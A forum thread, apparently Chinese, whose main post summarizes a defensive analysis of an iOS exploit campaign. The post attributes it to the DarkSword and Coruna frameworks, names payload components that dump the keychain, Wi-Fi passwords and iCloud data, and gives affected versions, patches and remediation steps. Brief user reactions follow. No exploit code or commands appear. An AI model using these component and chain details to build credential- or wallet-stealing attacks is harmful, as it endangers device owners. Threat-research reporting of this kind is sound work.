经与 DarkSword 比对,本样本在**文件名(sbx1_main.js 同名、全链逐一对映)、原生载荷组件(keychain_dump.js / wifi_password_securityd.js / icloud_dumper.js)、日志标签(CHAIN / MAIN)**三重指纹上完全吻合,可判定为 UNC6353 原生变体(18.4–18.6.2)被犯罪团伙二次加工(重新混淆 + 叠加钱包窃取)后的再分发版本;其旧版本分支同时复用 Coruna 框架(group.html / 鸟类代号 Stage 模块 / 五链结构),形成 DarkSword + Coruna 双框架共存于同一投递器的形态。两框架的漏洞均已由 Apple 分批修复(DarkSword:2025-12~2026-03;Coruna:2023–2024),本活动属 n-day 再利用——升级至 iOS 18.7.6 / 26.3.1 即可同时脱离两条路径的受影响范围;据测算仅 DarkSword 区间(iOS 18.4–18.6.2)全球约 2.22 亿台设备曾处于风险中,叠加 Coruna 区间后实际暴露面更大。
鉴于其版本覆盖全面、工程化成熟且以高价值加密资产为猎物,建议将相关域名、IP、文件哈希与行为特征全面纳入检测与拦截体系,并对已访问过该站点的 iOS 设备按"已沦陷"标准处置(断网 → 迁移资产 → 抹机恢复 → 升级系统)。本报告所有结论均基于被动静态取证,未对任何漏洞利用做动态触发。
(本报告为防御性安全分析,仅用于威胁研判与防护加固。)
破案了
省流:看不起安卓狗

@droidx #149 不会,好像只影响iOS18的几个版本
@droidx #149 不是Safari应该没事
神了
还好我是安卓手机
所以这是ios的漏洞?
赞一个
专业
原来是这样
前排吃瓜
专业